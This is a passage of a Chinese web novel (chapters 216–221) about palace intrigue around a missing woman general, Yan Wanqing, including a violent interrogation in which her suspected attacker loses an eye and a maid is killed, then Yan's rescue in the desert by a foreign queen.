他听出来了纪云台的威胁。 能够在西凉城当了数十年的城主,并且深受百姓爱戴和拥护,纪云台的威信比他这个来自京都的皇子要深厚的很多。 上次他趁着李呈媛的事情,鞭笞纪云台,也是为了给他一个警告。 告诉他再怎么强龙压不过地头蛇,他萧鸿深也是皇帝的儿子,是当今的七皇子。 只是他没有想到,事情才过去两天,这个纪云台竟然对着他说出这样的话来, “看来城主的身上的伤好的差不多了。” 萧鸿深上下扫了一眼纪云台,幽幽的说道。 “多谢殿下关心,已经快好了。”纪云台面上犹如三月春风,露出一抹笑来。 两个人,你一句我一句,来回这么说话着。 旁边的常千户却感觉大厅之内刀光血影,让他脊梁骨发凉。 此时燕晚清的长剑,就摆放在大厅中间的桌子上。 朴实无华,又平平无奇的一把长剑,剑身比一般的长剑要长出不少,偏偏剑的主人能够将其耍的风生水起,让人一眼难忘怀。 “殿下——”常千户突然跪在了地上。 萧鸿深的面色一下子铁青了。 常千户眼中猩红:“燕帅为了此次西征,早出晚归带着将士们训练,此刻她没了音讯,将士们已经起疑,好不容易凝结出来的军心,此刻若是散了,此番西征必败!” 这话一出,萧鸿深一记掌风直接打向了常千户。 “大胆,胆敢妖言惑众,乱军心者,其罪当诛!常宽,你不要命了是么!” 常千户重重的撞在屋内的柱子上,吐出了一口鲜血。 他用手背擦拭了一下唇角,重新跪在了地上,目光坚定。 城主大人尚且可以为了燕帅,为了西凉城的百姓不畏强权。 那么他常宽也可以! “属下所言,句句属实,今日若是见不到瑶池县主,明日属下就带着上万的将士们,亲自来找殿下要个答案!” 你若是不交出李呈媛,那么就不要怪他们这群人不客气了! 常千户脊梁骨挺得笔直。 萧鸿深看着纪云台和常宽。 “好,好,好!你们一个两个的都好得很!”话已经说到了这个地步。 萧鸿深终于松了口:“派人去喊瑶池过来。” 丫鬟领命而去。 萧鸿深面色更加阴翳:“这件事情,本殿不会善罢甘休的。” “若是此时与县主没有关系,微臣愿意承担一切后果。”纪云台掷地有声的话语紧跟其后。 常千户见状:“属下亦是!” 第二百一十六章 你说谎的表情,真恶心 李呈媛听着外面的动静,此刻盖着被褥缩在了床榻之上。 哪怕是在城主府的后院之中,依稀还是能够听到大门口传来将士们的怒吼声。 她心中有鬼,自然就将这些怒吼声往燕晚清的死上想。 “来人!” 李呈媛突然朝着门口喊了一声。 门口的小丫鬟面色苍白的走了进来。 “县、县主。” “外面喊什么呢?”李呈媛问这话的时候,手指都在颤抖。 小丫鬟早就有些绷不住了,见李呈媛问自己,她一下子跪了下来。 “县主,外面来了好多士兵,他们逼着七皇子殿下交出……交出您啊……” “这可如何是好?”小丫鬟哭的上气不接下气,那燕晚清身上的最后一刀,是她刺的! 这些将士要是知道了,不得剥了她的皮! “慌什么!”李呈媛冷喝一声。 她从床榻上下来,虽然还在小产之中,可她的身子早就被调养的很好了。 “这件事情没有证人没有证据,只要你不说我不说,谁能知道?”她出府的时候,也是让人掩护好了出去的。 那燕晚清非要夜半三更的追着人出府,也就怪不得她被人下套。 通知她去找燕晚清麻烦的人,自然是想要借着她的时候除掉燕晚清。 那么这个人一定不会在这个时候,跳出来咬她一口。 那么—— 李呈媛将目光放在了跪在地上哭哭啼啼的丫鬟身上。 “阿瑶,你会背叛本郡主吗?” 阿瑶被喊的一激灵。 她赶紧摇头:“阿瑶一定不会背叛郡主的,郡主您,您放心!” “谅你也没有这个胆子,别忘了你哥哥和母亲。”李呈媛冷哼一声,她习惯性的咬了咬自己的指尖,撕扯下来一块指甲碎片。 每到这种时候,越是焦躁,她就越会用这种方式强迫自己安静。 直到血珠从指甲和指腹中间溢出,她才冷静了下来。 阿瑶低着头,老实巴交的跪在了地上。 她这样身份低微的人,又被李呈媛给拿住了把柄,自然是敢怒不敢言的。 可能,从她选择跟着李呈媛出府的那一刻开始,她就没有回头路了。 就在这时。 门外突然传来了敲门声。 吓得主仆二人心脏都要骤停。 “谁?”阿瑶在李呈媛的眼神示意下,开口。 门外的人听出了阿瑶的声音,于是说道:“阿瑶,七皇子殿下让我过来请县主过去一趟。” 一听是要请自己过去。 李呈媛更加紧张了。 她指了指门口,对阿瑶小声说道:“你问问,什么事情?” 阿瑶赶紧开口问了。 门外的丫鬟哪里知道是什么事情,于是说道:“奉命行事而已,阿瑶快些禀报县主吧,殿下好像心情不太好。” 李呈媛知道大事不妙了。 萧鸿深今日刚回城主府,她便派了阿瑶过去喊他过来,也告知了自己孩子没了的事情。 但是直到现在,萧鸿深也没有出现。 反而是派了一个丫鬟过来,请自己过去。 李呈媛眼神中闪过了一丝戾气。 这个猪狗不如的男人。 不知道女人小产的时候等同于坐月子,身子虚得很么! 竟然还让她亲自过去。 想到这里,她心里冒出一团火来。 “跟她说,本县主身子骨弱,不去。” 阿瑶小心翼翼的看了一眼李呈媛,才转身出去走到了门口。 门外的丫鬟见她开门出来了,视线赶紧往里面看,阿瑶立刻将门关上。 “县主呢?”丫鬟问道。 阿瑶面色有些紧张,不自然的双手交握。 “县主眼下十分虚弱,大夫说不能轻易挪动位置,只怕是不能过去了。”阿瑶又说道:“七皇子殿下可说了是什么事情?” 丫鬟摇了摇头:“这我哪里能知道,只知道大厅里面城主大人和千户大人都在。” 丫鬟看了看周围,确认没有人了,她用手捂住嘴。 阿瑶顺势凑过去耳朵。 “七皇子殿下发了好大一通火呢。”丫鬟将自己站在门口听到的动静都告诉了阿瑶。 阿瑶点了点头,心中更加不安了。 看着丫鬟回去复命。 阿瑶赶紧推开门,将自己刚刚听到的事情全部告诉了李呈媛。 李呈媛靠在软垫上,思忖。 越想越觉得这件事情和燕晚清有关系。 只是到现在都没有搜到燕晚清的尸体。 这让李呈媛心理稍微有了一丝底气。 说明暗中之人将尸体清理干净了。 只要找不到尸体,那么纪云台就不能将事情推到自己身上来。 待会儿倘若萧鸿深再派人过来,她便不再推脱。 只是她没有想到,还没有等到萧鸿深派人过来,房里就来了个不速之客。 阿瑶被来人一个手刃打在了后颈晕了过去。 李呈媛看着身高体壮的俊美男子,吓得尖叫出声。 “李呈媛?”男子呢喃着出声,眯着眼睛打量着眼前这张陌生的面孔。 “你是谁!想干什么!我可是圣上亲封的瑶池县主,你敢对本县主做什么,陛下是不会放过你的!”李呈媛超后退着,嘴里威胁道。 他出京城的时候,可没有见到过这张脸。 这就是父皇亲封的瑶池县主? 就这? 父皇真是老糊涂了,阿猫阿狗都能封来封去。 “我是谁你不用知道。”萧苹风将手里的阿瑶像是一只小鸡仔一样丢到了地上,邪肆的双眼打量着李呈媛:“你把燕晚清弄到哪里去了。” 又是为了燕晚清过来的! 李呈媛心中闪过了嫉恨。 怎么所有人都能和燕晚清扯上关系! “本县主不知道你在说什么……你和燕晚清是什么关系?” 萧苹风在屋中找了椅子坐了下来,从腰上拔出来一个匕首,当着李呈媛的面,狠狠的戳在了桌子中央。 那匕首直接没入桌子,只剩下了一个刀柄在外面。 吓得李呈媛直接缩了个脖子。 “这把匕首,你不陌生吧?” 李呈媛当然不陌生。 这就是她那天晚上用来折磨燕晚清的匕首! 只是眼前这个人是怎么找到的? 她分明让阿瑶妥善处理掉了! 萧苹风看着面前的李呈媛脸色不断的变换,心中便有了判断,唇角冷凝:“这件事情,果然和你有关系。” “胡说!”李呈媛呵斥道:“随便拿一把匕首就说跟本县主有关系,这里是城主府,你以为是菜市场啊,你碰瓷呢!” “你说没关系就没关系?”萧苹风冷笑一声:“皇家御赐的东西都是有标记的,这可是太子赐给七皇子的东西,后来又被送给了你。” 李呈媛的脸色刷一下白了。 “你说谎的表情,可真让人恶心。”萧苹风毫不怜惜的说道。 第二百一十七章 再不说,就是另外一只 听到这个人骂自己恶心,李呈媛气不打一处来,恨不得立刻上前捅他几刀心里才舒服。 只是看着那双漆黑的眼眸,她心里就忍不住的发憷。 这种威压,她只在一个人身上感受过。 那个人是皇帝。 李呈媛感觉自己十分可笑。 面前这个穿着褴褛的男子,虽然有一张俊美的面容,可是和皇帝和七皇子身上都没有几分相像,自己竟然会这般惧怕。 “你是个什么东西,敢说本县主恶心。”李呈媛超后退了几步,手缓缓的摸着身后高台上的烛台。 萧苹风懒散的看着她的动作,修长的手指摁在了刀柄上。 就在李呈媛摸到烛台的瞬间,那把匕首直奔着她的正面而去! “啊——!”李呈媛被吓得直接撞在了旁边的柜子上。 一缕发丝在空中旋转飘落。 那把锋利的匕首此刻正插在李呈媛的头顶之上! 匕首发出铮然的声音,让人头皮发麻。 李呈媛感觉那一刻,心脏都要从胸腔里跳出来了。 此刻那个男人从椅子上慢慢起身,踱步到了她的正前方,然后蹲了下来。 “你想干什么,我警告你不要乱来。”李呈媛因为恐惧,紧张的咽了咽口水。 萧苹风看着她,伸出手。 李呈媛吓得闭上了双眼。 耳边传来一声冷笑,李呈媛睁开眼来,发现他将匕首拔了出来。 “我这个人没什么耐心,最后再问你一遍,燕晚清在哪里。” 李呈媛依旧嘴硬:“……不知道,燕晚清跟我一向不和,她去哪里又怎么会跟我报备,我什么都不知道!” 萧苹风最后一丝耐心也被耗尽。 “不见棺材不掉泪。”萧苹风目光阴冷,二话不说匕首扎入了她的手背上。 李呈媛疼的惨叫一声,左手被匕首钉在了柜子上,她难以置信的看着萧苹风。 “我不会放过你的!等七皇子过来了,他一定会杀了你的!” 李呈媛疼的面目狰狞,嘴里不断的叫嚣着不干不净的话语。 萧苹风直接上手卸了她的下巴。 “我一向都不对女人动手,你是个例外。”萧苹风眼睛眨都不眨一下,直接拔出了匕首,他摩搓着锋利的匕首尖端,竟然在这种情况下勾出一抹魅魂的笑意来。 “你知道为什么么?” 看着萧苹风目光落在自己身上,此刻的李呈媛再也无暇顾及到他的容颜,只觉得面前这个笑着手起刀落的男人是个恶魔! 她疯狂的摇头表示自己的无辜。 可是萧苹风根本不是个怜香惜玉的人。 他也不在乎李呈媛是否小产,是否是个弱质女流,在他的眼中,怨有仇债有主,触碰到他逆鳞的人,都得死。 燕晚清,就是他的逆鳞。 “找到这把匕首的时候,上面沾满了血,就像现在这样。”萧苹风将匕首顺着李呈媛的脖颈缓缓上移,最后落在了她的双眸处,语气一下子阴冷下来:“你就是用这把匕首伤了她的?” 李呈媛依旧疯狂摇头,嘴里不停的呜咽着,口水顺着唇角往外溢出。 此刻她十分后悔刚刚没有跟着七皇子派来的丫鬟过去。 倘若刚刚过去了,眼下就不会遇到这个疯子一样的男人。 这个男人疯了! 李呈媛眼里都是恐惧,目光不断的飘向门口。 此刻,她多么希望有人能够破门而入,救她性命啊! “这双眼睛倒是挺好看的,可惜生错了主人。”萧苹风自顾自的呢喃道:“我替你把它挖出来好不好?” 那匕首已然落在了李呈媛的眼皮上方,这一刻,她彻底不敢动了。 绝对的恐惧面前,她指了指自己的下巴,眼泪从紧闭的眼眶中不断的溢出。 下一秒,萧苹风将下掉的下巴,给她恢复原位。 “我说,我说!你不要挖我的眼睛!” 萧苹风将匕首收回:“说。” 李呈媛心中都是畏惧,但倘若她真的将燕晚清是被她所杀的消息告诉了眼前的男人,只怕下一秒自己就会身首异处。 所以不能说。 不光如此,她还得拖延时间,等七皇子过来救她。 想到这里,李呈媛用手背擦了擦眼角的泪水,声音极度柔弱,若是换做寻常的男子,只怕眼下已经心软了三分。 可是萧苹风不是寻常男子。 他只会对燕晚清心软。 像是李呈媛这样的女子,哪怕是哭晕在他的面前,他还会嫌弃挡了自己的路。 所以听到这嘤嘤的哭声,他二话没说,匕首戳在了李呈媛的耳畔旁边,劲风刮伤了耳坠,彻底止住了她的哭声。 “聒噪。”萧苹风淡淡的开了口。 李呈媛敢怒不敢言,她深呼吸一口气:“……我确实和燕晚清发生了口舌之争,也动了手,但是我没有对她真的怎么样,就是给我一百个胆子,我也不敢对陛下亲封的大帅下手啊。” 萧苹风半敛的黑眸,似乎在思考李呈媛刚刚说的话的真实性。 眼下全城都在靠着搜捕盗贼的理由,在搜寻着燕晚清的踪迹。 西凉城不过就是巴掌大小的城池,这两日已经翻了个底朝天。 眼下已经是没有找到燕晚清。 没有消息就是最好的消息。 李呈媛悄悄打量着萧苹风的神色,见状又开口道:“这把匕首其实是之前厨房里碰过生肉,后来才让丫鬟去处理掉的,这上面的血……真不是人血啊。” 萧苹风原本平静的眼神突然骤起波澜,他勾唇:“不是人血?” 李呈媛重重的点头:“千真万确,此时此刻我怎敢再撒谎欺骗。” 萧苹风低头笑了笑,再抬头看向李呈媛的时候,眼底已经是蚀骨的冰冷:“你当我是萧鸿深那个蠢蛋?靠着你三言两语就把你这种货色当个宝贝宠着,你猜,我是怎么找到你的头上来的?” 李呈媛紧张的咽了咽口水。 她不会承认的。 萧苹风从怀中掏出了一块帕子,上面绣着一朵格桑花。 帕子在他的指缝间自然垂落,栩栩如生的格桑花在李呈媛的眼前突然绽放。 下一秒,她面上本就不多的血色,彻底消失殆尽! 萧苹风看着她的神情,宛若一头黑暗中即将杀死猎物的黑豹。 “她失踪之前,最后接触到的人就是你,我给过你机会,是你自己不懂得珍惜。” 话音未落,李呈媛就捂住了右眼,指缝间溢出鲜血。 这个宛若罂粟的男人,竟然在真的用匕首割了她的眼睛! “再不说,就是另外一只。”萧苹风宛若恶魔般的声音,在李呈媛的耳畔中响起。 关于折磨人,他有的是法子。 天底下就没他审问不出来的犯人! 第二百一十八章 郡主恕罪,奴婢手抖 此刻李呈媛根本不怀疑,眼前这个人会杀了自己。 不得已的情况下,她呐喊出声。 “是她!”李呈媛指着地上刚刚苏醒过来的阿瑶说道。 阿瑶愣了一下。 李呈媛根本不给她开口的机会,直接尖叫道:“是她动的手!” 萧苹风转过头去看向了阿瑶,阿瑶面色慌张,她超后连续退了几步:“我,我不是故意的!她当时已经没有气了,我真的不是故意的!” 此话一出,杀意瞬间将整个房间浸润其中。 阿瑶感觉无形之中有一只手已经掐住了自己的脖子,让她呼吸困难。 下一秒还蹲在李呈媛面前的男人,已经出现在自己的面前。 比他更快的是那把匕首。 直接穿过了自己的胸膛。 阿瑶瞪大双眼,低头看了看呈现血窟窿的胸膛,唇角溢出鲜血,然后目光哀怨的落在了此时头也不回朝着门口跑去的李呈媛身上:“她……” 阿瑶用手指着门口。 李呈媛仿佛身后有恶鬼一样,不顾身上的伤口,疯了一般朝着大门扑了过去。 “救命啊!有人要杀我——救命啊!来人啊——” 她推开了门,重重的摔在了院子里。 瞎了一只眼的她,从台阶上滚了两圈,最后落在了青石板上。 萧苹风面无表情的将匕首从阿瑶的身体里拔出来,抬脚朝着门外走去。 李呈媛用双手超前趴着,萧苹风就在她身后不远不近的跟着。 身上散发的冷戾,宛若修罗场。 等萧鸿深等人踏进院子的时候,看到的就是这幅场景。 “住手!”萧鸿深率先出手,朝着萧苹风攻去。 萧苹风闪身躲开,脚步坚定不移的朝着地上的李呈媛走去。 杀了她! 他的眼里布满了杀意。 “这位阁下!”纪云台迅速在地上捡起了几块石头,朝着萧苹风的位置丢了过去。 瞬息之间,萧苹风面前的院子出现了翻天覆地的变化。 趁着这一瞬间愣神的功夫,萧鸿深成功将地上的李呈媛给抱在了怀中,到了安全的地方去。 等到萧苹风从阵法里出来,面对的已经是一众将士了。 “刺杀瑶池县主可是重罪,阁下不会不知吧?”纪云台和萧苹风的视线在空中对视。 萧苹风此刻依然带着逸之的人皮面具:“杀人偿命,江湖规矩。” 纪云台感慨于对方毁天灭地的气势,心中狐疑什么时候西凉城中出现了这么一个人物。 看着有点面熟,但是一时之间就是想不起来在什么地方见过。 “与他废话干什么!”萧鸿深冷声吩咐着将士们:“此人刺杀瑶池县主,拿下!” 将士们大喝一声,朝着院子中间的萧苹风呈现包围圈逼近。 萧苹风丝毫没有将这群人放在眼里,目光在纪云台和李呈媛身上来回摇摆。 这里的人,只有这个坐在轮椅上的男人有点棘手。 他抿了抿唇,将手中的匕首朝着李呈媛毫不犹豫的投掷过去! 带着内力的匕首势如破竹的朝着萧鸿深怀中的李呈媛刺去。 李呈媛却大喊一声:“殿下小心!”她猛地抱住了萧鸿深,将自己的后背完全暴露在了匕首之下。 萧鸿深眼中闪过震惊,但是手比心快,他已经拉着旁边的将士挡在了自己的面前,那把匕首直勾勾的没入了将士的身体里。 萧苹风见状,眼里的戾气更重了。 他不念战。 旋身飞上了屋顶,几个起跃之后就消失在了天边。 天空之中依稀还残留着他包含内力的声音。 “这个女人,我必杀之!看你们能乎她到几时!” 听到这样的威胁,萧鸿深脸色铁青。 怀中的李呈媛早就昏了过去,浑身是血的倒在了他的怀中。 “传大夫!”萧鸿深冲着纪云台吼道。 …… 常千户追着萧苹风的身形,一路到了城门外,漫天风沙里,只见萧苹风立于枯树枝上。 远远的看过去,身形肃杀孤寂,仿佛融于天地。 这一刻,常千户感觉自己仿佛置身于远古战场之上。 他忍不住握紧了手里的长剑,妄图从这把剑身上获得一丝可怜的安全感。 “……胆敢刺杀圣上亲封的县主,还速速束手就擒!”常千户喉结上下滚动,迎着漫天风沙喊出声。 黄沙之下,那个男人的目光终于落在了常千户的身上。 “你是燕晚清的兵?”萧苹风开口说道。 常千户紧蹙眉头:“是又如何?奉劝你识相,等到燕帅回来了,定要你好看!” 没想到这句话一说出来,那男子竟然笑出了声。 笑着笑着他整个身子都颤抖了起来。 与此同时周围的威压更加低迷起来。 “你是她的兵,我不杀你,但是回去告诉萧鸿深,李呈媛必死!” 常千户不懂得男子身上为何身上的戾气那般浓重,只看见一阵铺天盖地的风沙卷过,他下意识的用手捂住了口鼻。 等到再次睁开眼的时候,男子已经不在了。 常千户手里拿着剑走出去几步,只剩下光秃秃的枯树枝。 他上前,用剑戳了戳,那枯树枝瞬间变成了齑粉。 常千户面色变了又变,最终火速朝着西凉城内疾驰而去。 此人,不可小觑! 必定有大来头,他得赶紧回去找城主大人商量此事。 …… 李呈媛没了孩子,瞎了一只眼,纤纤玉手也被戳伤,往后必定是要留下疤痕。 可是城主府上下没有一个丫鬟去可怜她的。 甚至都没有丫鬟和小厮愿意去她的院子里去伺候。 哪怕管家说了银钱翻倍,丫鬟们也是一个个的都不愿意。 仿佛那院子里住的不是人,而是一个会吃人的魔鬼。 这件事情让管家头疼的不行。 后来实在没有办法了,萧鸿深只能让身边的墨山去照顾李呈媛。 只是他不知道,这两个人之间的恩怨已经积攒了很久了。 屋内。 墨山手里正端着一盆水,盆上还挂着一方帕子。 “县主,洗脸。” 李呈媛眼睛上和手上都缠着绷带,根本没有办法碰水。 见墨山端着盆站的笔直,心里憋屈的很。 “你不知道打湿拧干拿给本县主么?” 李呈媛表情愠怒:“本县主是瞎了惨了,但是身份依然高贵,你一个区区丫鬟,也敢给本县主使绊子?!” 她说着起身,安好的那只手就要甩到墨山的脸上。 但是没想到比她更快的是墨山手里的水盆。 满满一盆水,几乎是从李呈媛的头顶上倾泻而下,连人带着床铺全部淋湿。 李呈媛尖叫一声,就听见墨山没有任何情绪的声音。 “郡主恕罪,奴婢手抖了一下,请郡主责罚。” 第二百一十九章 孩子没了,眼睛瞎了 李呈媛不敢相信墨山竟然敢将一盆水直接泼在自己的身上。 她一下子愣在了原地。 等到反应过来的时候,眼睛和手心传来了尖锐的疼痛。 她甚至都来不及去责罚墨山,只能赶紧喊道:“去喊大夫过来,快去!” 眼球深处传来的钝痛,让她整个大脑都仿佛要炸掉。 李呈媛痛苦的在地上打滚,双手捂着头忍不住的朝着床榻的柱子上撞过去。 墨山出门的时候看见了她这副场景,平平无奇的脸上终于有了一丝的松懈。 她的唇角,微不可及的朝上勾了勾,等到整个人沐浴到阳光之下的时候,她又变成了那个不起眼的丫鬟墨山。 大夫过来的时候,李呈媛已经将额头撞出了血,浑身湿透躺在地上,奄奄一息。 吓得大夫赶紧上前把脉,等确信人还有口气的时候,才放了心。 “这是怎么回事?”大夫看着床褥都湿透了,愣住了。 墨山淡定的从柜子里取出干爽的被褥,当着大夫的面慢条斯理的开始布置。 看的一旁的大夫瞠目结舌。 这瑶池县主好歹是个主子,就这么放任其躺在地上。 这个无论看多少遍都记不清楚脸的丫鬟,难不成身份地位比县主还要高? 大夫心中七上八下的。 “好了。”此时墨山已经手脚利落的铺好的床铺,又将地上的李呈媛给拦腰抱起来,直接内力烘干了她身上的衣服,丢在了床榻上。 一番操作下来,又让大夫高看了她几分。 等重新上了药,包扎好了伤口,已经到了日上三竿。 李呈媛幽幽的醒过来,饥肠辘辘。 屋内空无一人,她一脚踢开了身上盖得自己汗流浃背的被褥。 不能再这么坐以待毙下去了。 李呈媛不是蠢笨之人,心中也是有城府的。 不然她不会在萧苹风朝着自己投掷匕首的时候,毅然决然的用后背挡住。 她在加重自己在萧鸿深心目中的份量。 孩子没了。 眼睛瞎了。 她已经失去了在萧鸿深面前恃宠而骄的资格。 只是一直到现在,萧鸿深也没有来看过自己。 这个男人,心真的够狠的。 李呈媛舔了舔干裂的唇角,强撑着身子走到了桌子面前,给自己倒了一杯水。 “墨山。”有了水的润泽,嗓子终于舒服了点。 李呈媛冲着门外喊道。 过了些时刻,门被从外面推开,墨山平静的看着她,没有一丝情绪的外露:“县主有何吩咐?” “我要见七皇子殿下。”李呈媛开门见山。 她不要再呆在西凉城了,她要回京都。 墨山公式化的声音继续响起:“殿下正在忙,没有时间见县主。” “你带我去见他。”李呈媛坚持。 “怕是不行,军中重地,闲杂人等进不去的。”墨山说道。 李呈媛深呼吸一口气,她扶着桌子坐下来,强行压制住自己内心的浮躁:“我可以去殿下的书房等他回来。” “县主还是不要胡乱走动比较好,此处院子已经被城主大人设下了阵法,还是比较安全的,常千户带回来的消息是,前几日的那个刺客扬言一定要杀了县主,县主还是小心为妙,保护好自己,不要让七皇子殿下再为你忧心了。” 安慰人的客套话,在墨山的口中说出来,十足的讽刺。 那萧鸿深但凡是忧心自己,又怎会不来看自己? 李呈媛心里难受的厉害。 她第一次没有大发雷霆,而是摆了摆手示意墨山出去。 墨山淡淡的扫了她一眼,从容的将门关上了。 …… 燕晚清一路西行,穿过风沙弥漫的丘陵,像是一只不知疲倦的蝴蝶,朝着西凉城进发。 赶路赶了两天,她依旧还在沙漠之上。 如果还找不到水源,只怕自己就要干死了。 燕晚清坐在滚烫的沙子上,嘴唇干裂。 心中越发对于宋化虚的功力忌惮不已。 一夜千里,让她望尘莫及。 “水……”燕晚清迷迷糊糊的呢喃道,太阳一下子变成了两个,又变成了三个,最终她因为脱水昏倒在了沙漠里。 被她心中忌惮的宋化虚,远远的站在风沙里,丝毫没有要走过来的意思。 他远远的看着,双脚甚至都没有站在沙子上。 看见燕晚清摔倒在沙子的时候,宋化虚的表情甚至都没有一丝波动。 不知道过了多久,日头越来越毒,宋化虚依旧没有要走过去的意思,直到天边缓缓行驶过来一辆马车。 丫鬟远远的就看见地面上有个人形,不由得愣了一下。 “小姐,那边好像躺着个人。” 被喊作小姐的女子,面容姣好,沉静的水眸里是藏不住的野心,听到丫鬟的声音,掀开了车帘远远的扫了一眼。 起初还是有点不放在心上,但等认出来是谁的时候,她眼里闪过了一道精光。 “阿满,停车。”女子冲着丫鬟喊道。 阿满拉住了缰绳,疑惑的看向身后掀开车帘的女子:“小姐,要救她么?” 女子轻笑一声:“救,当然要救。” 这可是她的老熟人,怎么能不救呢。 阿满听到自家主子的吩咐,立刻下车,双脚踩着黄沙过去。 “小姐,是个女子,长得很好看。”阿满回头冲着马车大声喊道。 女子朝着她招了招手:“快把人带过来吧,外面热。” 阿满直接将人给背在了肩膀上。 燕晚清本就是迷迷糊糊,此刻被强行背在肩上,只觉得肺腑都在移位。 “嘶……” 她低低的抽气。 阿满停下脚步,四下看了一眼,又奇怪的摸了摸后脑勺。 “刚刚好像听到了声音,怎么没有了。” 燕晚清直接疼晕了过去。 等到她醒过来的时候,身上的衣服都已经被换了一套。 她睁开眼看着摇摇晃晃的马车顶上,上面画着复杂的花纹,看的人头晕。 “醒了啊,喝点水。”温软的声音在耳边响起,一个水壶递了过来。 燕晚清下意识的张嘴,咕咚咕咚喝了近半壶,才终于缓了过来。 甘甜的水下肚,整个人都像是重活了新生。 “呼——”燕晚清重重的呼出一口浊气。 “吃个瓜?”旁边人又递过来一片瓜,细白的手腕上带着个润泽的玉镯。 燕晚清微敛双眸,豪爽的用手背擦拭了一下唇角。 “多谢公主救命之恩,不,现在应该尊称您为女王了。” 第二百二十章 燕家女儿,不会止步于此 燕晚清眼神直勾勾的落在马车内的女子眼睛上。 那女子勾唇轻笑一声。 “别来无恙,安平郡主。” 秦舞上下打量着燕晚清:“当年明月的郡主,怎么眼下将自己搞的如此狼狈?” 燕晚清接过她手里的瓜,咬了一口,唇齿生津:“真甜。” “马有失蹄,让您见笑了。”提到这件事情,燕晚清也是有苦难言。 精明一世的她,竟然会在这种小事上栽了如此大的跟头,实在是太可笑了。 也难怪秦舞打趣她。 秦舞见燕晚清的神情苦涩,便知道她是遇到了麻烦。 “能让郡主都觉得头疼的事情,定然不是一般的事情了,只是眼下郡主已经是西征的统帅,凭借郡主的智谋和权势,孤还是真的好奇的很,这个人是谁。” 是谁? 只是李呈媛,自然是不足以将她害到这种地步。 可是偏偏这个局里面有个她不设防的人。 她那个早就死在雁门关的兄长燕黎安。 “这一切说来话长,不过国主为何会出现在这里?”这里可是大渭边界,这秦舞身为一国之主,不请自来,这件事情就有点耐人寻味了。 “孤为了一点私事。”秦舞勾唇笑道。 秦国内乱,她回国以一己之力力挽狂澜,没有选择辅佐幼弟,而是自己亲自坐上了那个至高无上的位置。 秦舞看着燕晚清意味深长的笑了笑:“孤到这里的事情,全看郡主若何作想了,可大可小,不是么?” 好一个可大可小。 燕晚清眼里闪过了深意。 “毕竟孤刚刚还救了郡主一命。”秦舞又补充道。 这是要用救命之恩来要挟了。 秦舞此时身上已经褪去了少女时期的稚气,分明还是跟自己一般大的年纪,眼下却像个老谋深算的老者。 黑板分明的眼神里总是闪过深沉和算计。 秦国的内乱,让这位曾经天真无邪的公主迅速成长起来了。 “国主的救命之恩,晚清自然是没齿难忘,只是眼下西凉城正在禁严,您若只是路过,自然是相安无事,但若是还有其他,还是需要跟本郡主去一趟城里报备一下的。” “郡主还是一如既往的铁血无情。”秦舞回忆到了一些往事,也想到了那些荒唐的事情。 “女王谬赞了。”燕晚清低头勾了勾唇。 这个话题让车厢内的气氛有些诡异,就在这时,马车停了下来。 马车外阿满的声音响起。 “小姐,前面有个湖。” 秦舞和燕晚清对视了一眼,掀开车帘走了出去。 果真看到不远处有个湖,湖水湛蓝,在漫天的黄色之下,仿佛一颗蓝宝石。 以湖为中心,周围零星散落着一些房屋。 “天色不早了,就到那边休憩吧,夜晚的荒原是极其危险的。”有了上次的教训,燕晚清看着秦舞说道。 秦舞点点头:“就按照郡主所言。” 说完,秦舞又想到什么:“此次出行,孤不想大张旗鼓,所以只带了阿满一个人,待会儿到了村落,还望郡主能够与孤姐妹相称。” “这是自然。”燕晚清也不是没有眼力劲儿的人。 只是心中越发好奇,这位国主不在自己的秦国带着,大老远跑到西凉城边境来所为何事。 而且身边只待了一个丫鬟。 看来自己要找个机会传信出去,让纪云台派点人过来保护这位秦国国主了。 看着很近,但是驱车到达湖边的时候,还是日落西斜了。 燕晚清身上的伤很重,四肢此时已经不太能动弹了,如果不是阿满一直扶着她,只怕她会直接摔倒在地上。 “筋脉都被挑断,身上大大小小的伤口加起来也有十几处,你这到底是招惹了谁。”秦舞忍不住说了一句。 燕晚清疼的不行,想要说话,秦舞却叹了一口气,竟然上前扶住了她另外一只胳膊。 “这样也好,待会儿人问起来,也有了住宿留下来的借口。” 燕晚清:“……” 刚升起来的一丁点温暖,瞬间被冲的烟消云散。 “又来了三位外客。”操着口音的男子上前,目光打量着燕晚清三人。 在看到燕晚清的时候,他着实愣了一下:“这位……” 这姑娘伤的这么严重,别熬不过今晚,到时候死在他这儿,到时候可就好心办坏事了。 燕晚清此时已经虚弱的不能开口说话了。 秦舞目光哀怨:“我们姐妹二人路上遇到了马匪,妹妹为了保护我,才身受重伤,还望大哥能够行行好,给我们一个地方,收留我们一晚,明早我们姐妹便走了,绝对不会给大哥添麻烦的。” 听到这里,那大哥原本怕事的心有了一丝松动,此时后方跟人说话的女子也走了过来,女子很面善,看到燕晚清的时候就惊呼。 “这,怎么回事?” 大哥便将秦舞刚刚说的事情又跟女子说了一遍:“夫人,情况就是这么个情况。” “赶紧进我那屋,长得这么好看的一姑娘,你怎么想的真是的。”女子用眼睛狠狠的剜了他一眼。 秦舞赶紧柔声感谢:“多谢大嫂。” “哎哟不谢,这一个个长得真好看。”大嫂一看秦舞,又是个美人,眼里都冒出花来了:“快带着你的妹妹,跟我过来吧。” 阿满和秦舞扶着燕晚清跟着你女子进了屋。 屋里烧着暖炉,三人一进来,整个人都松懈舒坦了很多。 荒原晚上温度很低,燕晚清伤势越发的严重,此时已经有些昏迷了。 “这可如何是好,咱们这里靠的最近的大夫也要走个半日的路程,眼下天色已黑,就怕过去请了,人家大夫也不一定过来啊。” 秦舞看见燕晚清的面色苍白,她蹙眉伸出手放在了额头上。 “糟糕,她额头好烫。” 大嫂上前也用手碰了碰:“哎呦真的是。” 她急得不行,突然想到什么:“等一下,今日还来了一队人,我过去那边看看他们是否带了大夫。” 说着,她搓着手朝着外面走出去。 秦舞叹了一口气坐在了床榻上。 过了好半饷,那大嫂都没有回来,秦舞看着越来越痛苦的燕晚清,眉头紧蹙。 “小姐,她会死吗?” 阿满忍不住问道。 “一身的伤,寻常男子能撑到现在都已经十分不容易了,更何况她一介女流。”秦舞用帕子给燕晚清擦了擦额头上的汗水:“……但,她是燕晚清啊,燕家的女儿,又怎么会止步于此呢。” 第二百二十一章 好看是好看,就是冷了点 又等了一会儿,秦舞也焦急了起来。 她催促阿满:“你去外面看看那位大嫂,怎么还不回来。” 她也不知道医术,阿满空有一身蛮力,根本不通这些。 眼下只能将希望寄托在这个热心的村妇身上。 阿满推开门出去,远远的看见那位大嫂站在一辆马车面前说着什么,时不时的还朝着这边看过来。 没过多久,大嫂便领了一个唇红齿白的青年走了过来。 